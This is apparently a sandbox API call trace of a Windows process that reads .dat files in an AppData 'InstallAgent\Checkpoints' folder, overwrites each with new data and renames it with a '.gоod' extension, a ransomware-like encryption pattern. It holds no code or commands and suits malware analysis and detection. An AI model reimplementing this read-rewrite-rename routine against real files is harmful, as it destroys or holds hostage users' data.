CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.233] GetFileType (hFile=0x808) returned 0x1 [0225.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0225.233] GetFileType (hFile=0x808) returned 0x1 [0225.233] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1d0 [0225.233] ReadFile (in: hFile=0x808, lpBuffer=0x3630810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3630810*, lpNumberOfBytesRead=0x207ec5c8*=0x1d0, lpOverlapped=0x0) returned 1 [0225.234] CloseHandle (hObject=0x808) returned 1 [0225.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", lpFilePart=0x0) returned 0x51 [0225.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0225.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.260] GetFileType (hFile=0x808) returned 0x1 [0225.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0225.260] GetFileType (hFile=0x808) returned 0x1 [0225.260] WriteFile (in: hFile=0x808, lpBuffer=0x36a97b8*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36a97b8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1e0, lpOverlapped=0x0) returned 1 [0225.358] CloseHandle (hObject=0x808) returned 1 [0227.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", lpFilePart=0x0) returned 0x51 [0227.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat.gоod", lpFilePart=0x0) returned 0x56 [0227.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0227.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7397f6, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7397f6, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x828a16a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0227.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0227.574] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat.gоod")) returned 1 [0227.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", lpFilePart=0x0) returned 0x51 [0227.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0227.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), fInfoLevelId=0x0, lpFileInformation=0x37036a8 | out: lpFileInformation=0x37036a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29b498, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa29b498, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa29b498, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce)) returned 1 [0227.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0227.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", lpFilePart=0x0) returned 0x51 [0227.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0227.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.575] GetFileType (hFile=0x860) returned 0x1 [0227.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0227.575] GetFileType (hFile=0x860) returned 0x1 [0227.575] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1ce [0227.575] ReadFile (in: hFile=0x860, lpBuffer=0x3703b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3703b60*, lpNumberOfBytesRead=0x207ec5c8*=0x1ce, lpOverlapped=0x0) returned 1 [0227.576] CloseHandle (hObject=0x860) returned 1 [0227.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", lpFilePart=0x0) returned 0x51 [0227.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0227.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.604] GetFileType (hFile=0x860) returned 0x1 [0227.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0227.604] GetFileType (hFile=0x860) returned 0x1 [0227.604] WriteFile (in: hFile=0x860, lpBuffer=0x377bb40*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x377bb40*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0227.605] CloseHandle (hObject=0x860) returned 1 [0227.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat", lpFilePart=0x0) returned 0x51 [0227.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat.gоod", lpFilePart=0x0) returned 0x56 [0227.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0227.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29b498, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa29b498, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x83e16c3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0227.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0227.606] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat.gоod")) returned 1 [0228.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", lpFilePart=0x0) returned 0x51 [0228.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0228.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), fInfoLevelId=0x0, lpFileInformation=0x39386d0 | out: lpFileInformation=0x39386d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2837, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3f2837, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3f2837, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7)) returned 1 [0228.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0228.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", lpFilePart=0x0) returned 0x51 [0228.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0228.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0228.357] GetFileType (hFile=0x834) returned 0x1 [0228.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0228.357] GetFileType (hFile=0x834) returned 0x1 [0228.357] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c7 [0228.357] ReadFile (in: hFile=0x834, lpBuffer=0x3938b80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3938b80*, lpNumberOfBytesRead=0x207ec5c8*=0x1c7, lpOverlapped=0x0) returned 1 [0228.358] CloseHandle (hObject=0x834) returned 1 [0228.423] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", lpFilePart=0x0) returned 0x51 [0228.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0228.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.424] GetFileType (hFile=0x82c) returned 0x1 [0228.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0228.424] GetFileType (hFile=0x82c) returned 0x1 [0228.424] WriteFile (in: hFile=0x82c, lpBuffer=0x3591d70*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3591d70*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0228.425] CloseHandle (hObject=0x82c) returned 1 [0228.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat", lpFilePart=0x0) returned 0x51 [0228.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat.gоod", lpFilePart=0x0) returned 0x56 [0228.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0228.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2837, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3f2837, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x845d668f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0228.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0228.425] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD2G0J.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd2g0j.dat.gоod")) returned 1 [0228.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", lpFilePart=0x0) returned 0x51 [0228.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0228.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), fInfoLevelId=0x0, lpFileInformation=0x3593048 | out: lpFileInformation=0x3593048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6c7176, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6c7176, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6c7176, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6)) returned 1 [0228.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0228.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", lpFilePart=0x0) returned 0x51 [0228.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0228.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.427] GetFileType (hFile=0x82c) returned 0x1 [0228.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0228.427] GetFileType (hFile=0x82c) returned 0x1 [0228.427] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c6 [0228.427] ReadFile (in: hFile=0x82c, lpBuffer=0x35934f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x35934f8*, lpNumberOfBytesRead=0x207ec5c8*=0x1c6, lpOverlapped=0x0) returned 1 [0228.428] CloseHandle (hObject=0x82c) returned 1 [0229.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", lpFilePart=0x0) returned 0x51 [0229.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.542] GetFileType (hFile=0x828) returned 0x1 [0229.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.542] GetFileType (hFile=0x828) returned 0x1 [0229.542] WriteFile (in: hFile=0x828, lpBuffer=0x36da6b8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36da6b8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0229.543] CloseHandle (hObject=0x828) returned 1 [0229.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat", lpFilePart=0x0) returned 0x51 [0229.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat.gоod", lpFilePart=0x0) returned 0x56 [0229.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0229.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6c7176, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6c7176, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8507a6fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0229.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0229.544] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat.gоod")) returned 1 [0229.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", lpFilePart=0x0) returned 0x51 [0229.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0229.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), fInfoLevelId=0x0, lpFileInformation=0x36db990 | out: lpFileInformation=0x36db990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa608680, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa608680, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa608680, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7)) returned 1 [0229.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0229.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", lpFilePart=0x0) returned 0x51 [0229.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.545] GetFileType (hFile=0x828) returned 0x1 [0229.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.545] GetFileType (hFile=0x828) returned 0x1 [0229.546] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c7 [0229.546] ReadFile (in: hFile=0x828, lpBuffer=0x36dbe70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x36dbe70*, lpNumberOfBytesRead=0x207ec5c8*=0x1c7, lpOverlapped=0x0) returned 1 